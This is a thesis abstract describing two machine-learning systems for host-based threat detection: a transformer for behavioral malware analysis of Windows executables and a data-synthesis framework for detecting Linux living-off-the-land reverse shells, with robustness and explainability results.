Thesis title: Behavioral Machine Learning Methods for Adversarially Robust Threat Detection at Operational Constraints
Machine learning methods for host-based threat detection
must operate under constraints rarely addressed in academic evaluation:
sustainable false positive rates at enterprise scale,
resilience to concept drift,
adversarial robustness against adaptive attackers,
and explainability that supports analyst triage.
This thesis develops two complementary behavioral detection systems,
each targeting a distinct execution modality
under these operational and adversarial constraints.
\textit{Nebula} is a self-attention transformer architecture
for behavioral malware analysis of Windows executables.
Dynamic analysis generates heterogeneous behavioral reports
containing API call sequences, network communications,
filesystem operations, and registry modifications.
Nebula introduces domain-aware preprocessing
that reduces vocabulary from approximately 8M to 2.5M tokens
through field filtering and value normalization,
narrowing the validation-test generalization gap
from 23--26\% to 7--8\%.
On the Speakeasy emulation benchmark,
Nebula achieves 57\% TPR at FPR=$10^{-3}$,
a 12--14\% improvement over the strongest baseline,
while requiring less than one third of the training batches.
Autoregressive self-supervised pre-training
with only 20\% labeled data nearly matches fully supervised performance,
demonstrating practical label efficiency.
The architecture trains on consumer hardware
(NVIDIA Quadro T2000, 4\,GB VRAM) within 15 minutes per cross-validation run.
\textit{QuasarNix} is a template-based data synthesis framework
for detecting Living-off-the-Land reverse shells on Linux.
LOTL attacks abuse legitimate system utilities,
creating a detection challenge where malicious commands
are structurally similar to benign administrative activity
and labeled attack data is extremely scarce.
QuasarNix decomposes known attack patterns into 34 reusable templates
with domain-informed placeholder sampling,
achieving 99.13\% functional validity across synthesized commands.
The framework enables 60\% TPR at FPR=$10^{-6}$,
an 18x improvement over signature-based detection,
at inference latency (0.3\,ms for GBDT) suitable
for processing 12 million daily events
across enterprise environments of 50,000 hosts.
Without synthesis, detection at production-grade FPR
is effectively zero.
Both systems are evaluated for adversarial robustness.
For QuasarNix, comprehensive evasion attacks
(benign content injection, shell escape perturbations, hybrid attacks)
and poisoning attacks (label-flipping, backdoor triggers)
demonstrate that no model is robust out of the box;
adversarial training with naive perturbations
generalizes to defend against more sophisticated attacks
not seen during training.
For Nebula, transfer attacks from static adversarial perturbations
confirm that behavioral analysis provides inherent resilience:
incorporating emulation-based dynamic analysis
into hybrid detection systems reduces evasion rates
from 28\% to 0.35\%.
Explainability diagnostics
(TreeSHAP for QuasarNix,
integrated gradients and attention analysis for Nebula)
validate that learned heuristics align with security domain expertise
and reveal how adversarial training shifts detection strategies
from surface-level token patterns
to semantically robust indicators of malicious intent.
Complete code, datasets, and pre-trained models
are publicly released for both systems.